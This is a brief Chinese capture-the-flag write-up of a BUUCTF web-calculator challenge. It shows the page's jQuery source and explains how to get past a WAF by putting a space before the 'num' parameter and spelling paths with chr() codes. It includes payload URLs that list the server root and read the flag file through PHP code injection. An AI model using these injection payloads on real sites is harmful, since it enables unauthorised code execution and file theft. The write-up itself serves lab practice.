打开网页后,一个网页计算机
正常算是可以算的,输入注入字符会提示
输入其他字符弹窗口
查看页面源码,设置有 waf
<script>$('#calc').submit(function(){$.ajax({url:"calc.php?num="+encodeURIComponent($("#content").val()),type:'GET',success:function(data){$("#result").html(`<div class="alert alert-success"><strong>答案:</strong>${data}</div>`);},error:function(){alert("这啥?算不来!");}})return false;})
</script>
在源码也可以看到前端的一些设置,对应之前的输入对错,而在 url 中可以看到 calc.php
一段正则过滤,过滤了很多东西,根目录用 ASCII 表示
绕过处理,在传入变量前加空格使内部检测不到之后的变量,但是 php 会删去空格运行后面内容
node4.buuoj.cn:29499/calc.php? num=var_dump(scandir(chr(47)))
49 1
102 f
103 g
97 a
file_get_contents
node4.buuoj.cn:29499/calc.php? num=var_dump(file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103)))